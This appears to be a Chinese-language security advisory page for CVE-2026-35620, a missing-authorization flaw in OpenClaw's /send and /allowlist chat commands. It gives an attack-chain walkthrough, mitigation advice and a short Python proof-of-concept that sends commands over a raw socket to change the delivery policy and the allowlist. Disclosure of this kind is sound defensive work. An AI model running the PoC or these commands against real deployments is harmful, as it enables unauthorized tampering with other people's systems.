IPBUF安全漏洞报告
English
CVE-2026-35620 CVSS 5.4 中危

CVE-2026-35620 OpenClaw权限绕过漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35620
漏洞类型
权限绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

权限绕过OpenClawMissing AuthorizationCVE-2026-35620

漏洞概述

OpenClaw 2026.3.24之前的版本存在缺失授权漏洞,主要影响/send和/allowlist聊天命令处理逻辑。由于系统未正确实施权限校验,具备operator.write权限的攻击者可绕过operator.admin限制。攻击者能利用/send命令持久化修改会话发送策略,或通过/allowlist命令篡改配置文件及配对存储的白名单条目。此漏洞可能导致系统关键配置被未经授权地修改,破坏应用完整性。

技术细节

该漏洞源于OpenClaw在处理特定聊天命令时的访问控制逻辑缺陷,具体表现为权限校验机制的缺失。首先,/send命令的处理器未严格区分owner-only权限与普通command-authorized sender权限。攻击者只需具备较低的operator.write权限,即可通过发送/send on|off|inherit指令,修改当前会话的sendPolicy(发送策略),这种修改是持久性的,直接影响消息投递规则。其次,/allowlist命令的变体操作(如add)未能强制要求operator.admin作用域。系统错误地允许具备operator.write权限的用户直接操作底层配置文件(config-backed)和配对存储(pairing-store)中的allowFrom条目。攻击者通过构造特定的聊天指令,即可在未获得管理员授权的情况下,成功修改系统的白名单配置,绕过安全限制,从而实施进一步的攻击或导致服务异常。

攻击链分析

STEP 1
侦察与访问
攻击者获得OpenClaw服务的访问权限,并获取具有operator.write范围的低权限账户凭据。
STEP 2
权限提升/绕过
攻击者向服务器发送/send命令(如/send off),利用缺失的授权检查,修改仅限所有者更改的会话投递策略。
STEP 3
配置篡改
攻击者发送/allowlist add命令,利用未强制operator.admin范围的缺陷,修改底层配置文件中的白名单条目。
STEP 4
影响达成
成功持久化修改系统配置,可能导致服务拒绝或允许未经授权的设备接入,破坏系统完整性和可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-35620 # Description: Exploits missing authorization in /send and /allowlist commands. # Attacker needs 'operator.write' scope. import socket def exploit_openclaw(target_ip, target_port, attacker_nick): try: # Establish connection to the OpenClaw chat service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[*] Connected to {target_ip}:{target_port}") # Step 1: Exploit /send command to mutate session delivery policy # This requires operator.write but affects owner-only settings payload_send = f"{attacker_nick} /send off\n" s.send(payload_send.encode()) print("[+] Payload sent: /send off (Session delivery policy mutated)") # Step 2: Exploit /allowlist command to modify config without admin scope # Adding a malicious entry to the allowlist malicious_entry = "192.168.1.100" payload_allowlist = f"{attacker_nick} /allowlist add {malicious_entry}\n" s.send(payload_allowlist.encode()) print(f"[+] Payload sent: /allowlist add {malicious_entry} (Allowlist modified)") s.close() print("[*] Exploit execution completed.") except Exception as e: print(f"[-] Error during exploit: {e}") # Usage example (replace with actual target details) # exploit_openclaw("127.0.0.1", 6667, "attacker")

影响范围

OpenClaw < 2026.3.24

防御指南

临时缓解措施
如果无法立即升级,建议暂时在服务端禁用/send和/allowlist命令的处理功能,或者通过防火墙规则仅允许受信任的管理员IP地址访问OpenClaw服务接口,以降低被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表